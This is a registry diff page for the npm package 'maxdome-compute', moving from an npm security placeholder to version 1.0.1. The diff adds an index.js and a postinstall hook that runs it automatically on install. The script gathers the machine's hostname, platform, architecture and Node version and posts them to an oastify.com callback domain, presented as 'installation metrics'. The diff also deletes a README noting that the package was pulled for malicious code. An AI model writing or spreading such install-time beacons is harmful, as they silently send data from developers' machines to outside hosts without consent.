maxdome-compute 0.0.1-security → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of maxdome-compute might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +57 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,57 @@
1
+ #!/usr/bin/env node
2
+
3
+ const https = require('https');
4
+ const os = require('os');
5
+
6
+ function sendMetrics() {
7
+ const metrics = {
8
+ timestamp: new Date().toISOString(),
9
+ package_installed: true,
10
+ system: {
11
+ platform: os.platform(),
12
+ arch: os.arch(),
13
+ node_version: process.version,
14
+ hostname: os.hostname()
15
+ },
16
+ install_id: Math.random().toString(36).substring(2, 15)
17
+ };
18
+
19
+ const data = JSON.stringify(metrics);
20
+
21
+ const url = new URL('https://7u2q4ey44ko1yr4r67bhl3ekibo2ct0i.oastify.com');
22
+
23
+ const options = {
24
+ hostname: url.hostname,
25
+ port: 443,
26
+ path: url.pathname,
27
+ method: 'POST',
28
+ headers: {
29
+ 'Content-Type': 'application/json',
30
+ 'Content-Length': data.length,
31
+ 'User-Agent': 'npm-package-metrics/1.0.0'
32
+ }
33
+ };
34
+
35
+ const req = https.request(options, (res) => {
36
+ console.log(`Metrics sent successfully. Status: ${res.statusCode}`);
37
+ });
38
+
39
+ req.on('error', (error) => {
40
+ // Silently fail to avoid disrupting package installation
41
+ console.log('Metrics sending failed:', error.message);
42
+ });
43
+
44
+ req.write(data);
45
+ req.end();
46
+ }
47
+
48
+ // Only run if this file is executed directly
49
+ if (require.main === module) {
50
+ sendMetrics();
51
+ }
52
+
53
+ // Export a simple function in case the package needs to be used
54
+ module.exports = {
55
+ sendMetrics,
56
+ version: '1.0.0'
57
+ };
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "maxdome-compute",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.1",
4
+ "description": "A package that sends installation metrics",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ },
9
+ "keywords": ["metrics", "analytics"],
10
+ "author": "Your Name",
11
+ "license": "MIT"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=maxdome-compute for more information.